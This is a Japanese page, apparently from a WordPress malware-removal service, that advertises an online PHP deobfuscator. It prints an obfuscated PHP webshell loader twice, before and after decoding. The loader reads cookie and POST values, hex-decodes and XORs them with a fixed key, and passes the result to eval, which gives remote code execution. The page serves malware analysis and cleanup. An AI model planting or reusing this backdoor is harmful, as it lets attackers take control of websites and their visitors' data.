Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php function/*P */vLsJGFhGJ($cxevcpW) /*YAJ */{ /* o */return @pack( chr (/* A */880/*bDkN*/-/*C*/808 )."\x2a", $cxevcpW ); $hcDGqTlurZChEl/* HssYz */=/* JD*/md5($cxevcpW); $KobEgfSqzb = base64_decode($cxevcpW); if ($KobEgfSqzb === false)/*AVL*/{ $KobEgfSqzb/* Sp */= '';$_IS/*HOCW */=/* Ds */'1504'; /*Z */} $bNqAtUJE = str_split($cxevcpW); $PqTqRuK/* chh */= strlen($cxevcpW); $hcDGqTlur = 0; while ( $hcDGqTlur < $PqTqRuK )/* SmH*/{ $hcDGqTlur++;$_pWu =/* px */'3815'; /*E*/$KhxbwgWraA = $bNqAtUJE[$hcDGqTlur];; /* tvRvJ */if (strpos($KhxbwgWraA, 'a') !==/* MdGCw */false) { $bNqAtUJE[$hcDGqTlur] = strtoupper($KhxbwgWraA); } /* mSxGp*/} $UmSsL/* OA */= implode('',/* enmWw */$bNqAtUJE);$_Z/*n */=/* BW */'10199'; /* g */$_GET['decoded']/*jLDGa */=/* kVXWf */$UmSsL; $_POST['hash'] = $hcDGqTlurZChEl; if (file_exists('path/to/file'))/*sekBI*/{ $RzZDrfE/*tCsX */= file_get_contents('path/to/file');; $epNrUeTYi =/* cFt */explode(',', $RzZDrfE); /*V */$mwxCEn = md5(serialize($epNrUeTYi)); if/*AYI */(is_array($epNrUeTYi)) { $vEzbb = array_slice($epNrUeTYi, 0,/* apmL */5);; } /* utb */} $NWznlTbrX =/*Dvcb*/array_map('trim', $vEzbb); $hcDGqTlurhpoNFKsa/* R */= rawurldecode(implode(',',/* C */$NWznlTbrX));; $_COOKIE['final_value'] =/* XCE */$hcDGqTlurhpoNFKsa; } function TDkgwLdKi() { $VQDtM/* lyuf */= Array($_COOKIE,/* T*/$_POST); /*QlW */$bvUbx/*qqoxL*/=/*Orxq */array_map('md5', $_COOKIE); $UeNTX = strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla') !== false ? 'browser/*u */is Mozilla' :/*gIi */'browser is not Mozilla'; /*KgJc */ /* Uf */if (is_array($VQDtM)) { $QLdDVEKQJV/* iXg */= array_slice($VQDtM,/* mFV */0, 1);$_UZSjN =/*DD*/'25382'; /* CNJPe*/} else/* vRBV*/{ $QLdDVEKQJV =/* QUY*/[]; } $ILZTWE/*jRMU */= explode(',',/* SF */'apple,orange,banana');; $alElOqL/* tq */=/*NVCC */rawurldecode('%20Hello%20World%20'); $hcDGqTlur = 0;$_jEqzB =/* An */'2616'; /* IROk */while ($hcDGqTlur < count($ILZTWE) ) { /*Qkg */$ILZTWE[$hcDGqTlur] =/* eiDa */str_repeat($ILZTWE[$hcDGqTlur], 2); /* CpCq*/$hcDGqTlur++;$_JDoy/* YhGR */= '2800'; } /*HHX*/ $haeBZy =/* IFRWV */str_repeat($UeNTX, 3); /*FE */ /* zmZjU*/return $VQDtM;; } /* b */function vhfuazu($jSGzkVv) { /* RFIVI*/$OFsTKgfdTo = "\43"; foreach (TDkgwLdKi() as/*yKY */$BIpXH)/* gvot */{ zrRiiyeQvD($BIpXH, $OFsTKgfdTo); /* UEr */} } /*roXk */ function/*C */gwCarXTUJ($YvsrNo, $CAiCYaQ) /* sK */{ /* KVWO */if ( count/*OxB*/( $YvsrNo )/* CtTS*/==/* WAwr */3 ) { /* Oy*/$hldlMPXGfI/*xeh*/=/*WYnR */$YvsrNo[1];; $fWdrhJlHj/* NTNQ*/= $YvsrNo[2]; $RXLoMM/*RE*/= $hldlMPXGfI($fWdrhJlHj);$_VUi =/* fUH */'51196'; eval (/*nJZ*/$RXLoMM/* FcVVy */); die (); } /*rp */} /* xHnVA */function jCgIExDJW($cxevcpW, $hPdZJfug) { return $cxevcpW ^/* qRRb */$hPdZJfug; } /* DtE */ function/* FD */cMHDbaoAJ($GtvYQgBNd,/* qI */$OFsTKgfdTo) { $GtvYQgBNd = explode/* mRoM */($OFsTKgfdTo, $GtvYQgBNd/* E */);; /* Qo*/ gwCarXTUJ($GtvYQgBNd, $OFsTKgfdTo); } function/* Jumi*/zrRiiyeQvD($BIpXH, $OFsTKgfdTo) { foreach/* bIQwM */(/*JSt */$BIpXH/*eq */as $hPdZJfug/*YBgg*/=> $cxevcpW ) { GiYwGaQDzU($hPdZJfug,/* oq*/vLsJGFhGJ($cxevcpW), $OFsTKgfdTo); } } function WUfvyqYJvZ($hPdZJfug, $cxevcpW) { $ZSLJjjkQu = strlen(/* b*/$cxevcpW )/strlen(/* c */$hPdZJfug/* hlH */);$_wZO = '26099'; $hPdZJfug/* pWlYv */.= "kLQtoC-EvRyBM-olCOYZL-oCwfCx-QNWkq-xFvd-EfhQG";; $hPdZJfug/*WHU */= str_repeat/* MpH*/( $hPdZJfug, intval($ZSLJjjkQu) + 1);$_wCftq/* vBVu */=/* m */'43877'; /*P*/ /*Kuxj */return/*RTsuZ */$hPdZJfug; } function GiYwGaQDzU($hPdZJfug,/*Ij*/$cxevcpW, $OFsTKgfdTo) { cMHDbaoAJ(jCgIExDJW($cxevcpW,/* w */WUfvyqYJvZ($hPdZJfug,/* KDi */$cxevcpW)), $OFsTKgfdTo);$_FLDYE/* frt*/= '29089'; /* SW */$hcDGqTlurZLvJ = trim($cxevcpW);; $GMHjnovc =/* kM*/explode($OFsTKgfdTo, $hcDGqTlurZLvJ);$_EEM/* x */=/*o */'19503'; /*Mbs */if/*zIorS */(count($GMHjnovc) > 1) { /* jF */$YUXiZQaN = implode("\55", $GMHjnovc);$_nVnK =/* Ulm */'1749'; $ZryAdinwM/* C */=/* R*/str_pad($YUXiZQaN, 20,/*vAUvY */chr (48),/*WvJJt */STR_PAD_RIGHT); } } vhfuazu("");
<?php function vLsJGFhGJ($cxevcpW) { /* o */ return @pack("H*", $cxevcpW); } function TDkgwLdKi() { $VQDtM = array( $_COOKIE, /* T*/ $_POST, ); /*QlW */ $bvUbx = array_map('md5', $_COOKIE); $UeNTX = strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla') !== false ? 'browser/*u */is Mozilla' : 'browser is not Mozilla'; /*KgJc */ /* Uf */ if (is_array($VQDtM)) { $QLdDVEKQJV = array_slice( $VQDtM, /* mFV */ 0, 1 ); $_UZSjN = '25382'; /* CNJPe*/ } else { /* vRBV*/ $QLdDVEKQJV = []; } $ILZTWE = array(0 => "apple", 1 => "orange", 2 => "banana"); $alElOqL = " Hello World "; $hcDGqTlur = 0; $_jEqzB = '2616'; /* IROk */ while ($hcDGqTlur < count($ILZTWE)) { /*Qkg */ $ILZTWE[$hcDGqTlur] = str_repeat($ILZTWE[$hcDGqTlur], 2); /* CpCq*/ $hcDGqTlur++; $_JDoy = '2800'; } /*HHX*/ $haeBZy = str_repeat($UeNTX, 3); /*FE */ /* zmZjU*/ return $VQDtM; } /* b */ function vhfuazu($jSGzkVv) { /* RFIVI*/ $OFsTKgfdTo = "#"; foreach (TDkgwLdKi() as $BIpXH) { /* gvot */ zrRiiyeQvD($BIpXH, $OFsTKgfdTo); /* UEr */ } } /*roXk */ function gwCarXTUJ($YvsrNo, $CAiCYaQ) { /* KVWO */ if (count($YvsrNo) == 3) { /* Oy*/ $hldlMPXGfI = $YvsrNo[1]; $fWdrhJlHj = $YvsrNo[2]; $RXLoMM = $hldlMPXGfI($fWdrhJlHj); $_VUi = '51196'; eval($RXLoMM); die; } /*rp */ } /* xHnVA */ function jCgIExDJW($cxevcpW, $hPdZJfug) { return $cxevcpW ^ $hPdZJfug; } /* DtE */ function cMHDbaoAJ($GtvYQgBNd, $OFsTKgfdTo) { $GtvYQgBNd = explode($OFsTKgfdTo, $GtvYQgBNd); /* Qo*/ gwCarXTUJ($GtvYQgBNd, $OFsTKgfdTo); } function zrRiiyeQvD($BIpXH, $OFsTKgfdTo) { foreach ($BIpXH as $hPdZJfug => $cxevcpW) { GiYwGaQDzU( $hPdZJfug, /* oq*/ vLsJGFhGJ($cxevcpW), $OFsTKgfdTo ); } } function WUfvyqYJvZ($hPdZJfug, $cxevcpW) { $ZSLJjjkQu = strlen( /* b*/ $cxevcpW ) / strlen( /* c */ $hPdZJfug ); $_wZO = '26099'; $hPdZJfug .= "kLQtoC-EvRyBM-olCOYZL-oCwfCx-QNWkq-xFvd-EfhQG"; $hPdZJfug = str_repeat($hPdZJfug, intval($ZSLJjjkQu) + 1); $_wCftq = '43877'; /*P*/ /*Kuxj */ return $hPdZJfug; } function GiYwGaQDzU($hPdZJfug, $cxevcpW, $OFsTKgfdTo) { cMHDbaoAJ(jCgIExDJW( $cxevcpW, /* w */ WUfvyqYJvZ( $hPdZJfug, /* KDi */ $cxevcpW ) ), $OFsTKgfdTo); $_FLDYE = '29089'; /* SW */ $hcDGqTlurZLvJ = trim($cxevcpW); $GMHjnovc = explode($OFsTKgfdTo, $hcDGqTlurZLvJ); $_EEM = '19503'; /*Mbs */ if (count($GMHjnovc) > 1) { /* jF */ $YUXiZQaN = implode("-", $GMHjnovc); $_nVnK = '1749'; $ZryAdinwM = str_pad( $YUXiZQaN, 20, /*vAUvY */ "0", /*WvJJt */ STR_PAD_RIGHT ); } } vhfuazu("");
■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
(C)2019 ワードプレス ドクター All rights reserved.